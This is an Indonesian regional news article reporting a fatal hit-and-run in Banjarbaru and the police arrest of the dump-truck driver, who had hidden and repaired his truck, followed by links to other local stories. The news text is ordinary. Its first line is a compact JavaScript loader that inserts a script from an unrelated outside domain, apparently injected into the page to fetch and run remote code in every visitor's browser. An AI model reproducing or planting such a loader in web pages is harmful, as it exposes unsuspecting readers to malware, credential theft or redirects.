(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Resor (Polres) Banjarbaru mengamankan satu orang pelaku tabrak lari yang mengakibatkan seorang pemotor meninggal dunia di Jalan Mistar Cokrokusumo, depan Toko Berkat Usaha Motor, Kecamatan Cempaka, Kota Banjarbaru.
Kejadian kecelakaan lalu lintas terjadi pada 14 Desember 2025, merenggut nyawa seorang pengemudi sepeda motor bernama Muhammad Nauril Azmi (19), warga Cempaka, Kota Banjarbaru.
Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda mengatakan, polisi berhasil mengamankan S (49) alias IBJ yang merupakan sopir dump truk berwarna kuning dalam kejadian bersalah menyebabkan kecelakaan lalu lintas.
Baca juga: Dua Pelaku Video Viral Sejenis Terancam 12 Tahun Penjara
Kapolres Banjarbaru menjelaskan, awal kejadian sepeda motor yang dikemudikan korban membawa satu penumpang melintas dari Cempaka menuju Banjarmasin pada pukul 02.23 Wita dini hari.
“Korban mengendarai Honda Scoppy warna abu-abu
DA 6045 BJK dari arah Cempaka menuju Banjarmasin, bertabrakan dengan dump truk warna kuning bernopol DA 8123 JL yang bergerak dadi arah Banjarmasin ke Cempaka,” ujar Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda dalam rilisnya, Selasa (23/12/2025).
Baca juga: Kasi Datun Kejari HSU Diringkus, Bantah Mobil Tabrak Tim KPK
Saat terjadi tabrakan, sepeda motor mengenai bumper bagian kiri dump truk membuat pengemudi terjatuh kemudian ditabrak di bagian kepala, kaki, dan tangan oleh truk tersebut.
“Pengemudi motor tersebut langsung meninggal dunia, sementara korban lain terpental sekitar 3 meter mengalami luka ringan,” sebut dia.
Baca juga: Libur Panjang Tiga Kegiatan Besar, Ini Kata Kapolres Banjarbaru
Menurut keterangan saksi yang selamat, melihat dump truk sempat oleng melewati batas jalur berlawanan, alhasil sepeda motor yang dikendarai korban mencoba menghindar, namun tetap tersenggol dan tertabrak.
Saat kejadian, kata AKBP Pius, sopir truk tidak berhenti menolong korban atau melaporkan kejadian, melainkan melarikan diri.
“Ketika polisi sampai di TKP, cuma ada korban, kemudian korban dibawa ke rumah sakit, dalam perjalanan meninggal dunia,” jelas Kapolres.
Pada Jumat (19/12/2025), Tim Unit Gakkum menemukan petunjuk tentang dump truk yang terlibat dalam laka lantas tersebut.
Baca juga: Pengembang Perumahan di Banjarbaru Wajib Siapkan PSU, 2% Lahan untuk Permakaman
Tim berhasil menangkap terduga pelaku di SPBU Cempaka, dan tim bergerak menuju kediaman pelaku untuk mencari barang bukti berupa dump truk yang dikemudikan ketika terjadi laka lantas tersebut.
Kapolres menyebut, dump truk tersebut sempat disembunyikan di rumah anak pelaku yang berada jauh dari kediaman pelaku, namun tim bergerak menemukan kendaraan roda enam tersebut.
Petugas mendapati beberapa bagian dari mobil dump truk tersebut sudah dirubah dari bentuk sebelumnya dan beberapa bagian diperbaiki dengan tujuan untuk menghilangkan bekas benturan dengan sepeda motor.
“Atas perbuatannya pelaku disangkakan pasal 310 Ayat (4) UU Nomor 22 Tahun 2009 dan Pasal 312 UU Nomor 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan dengan ancaman hukuman 6-12 tahun penjara,” tutup dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.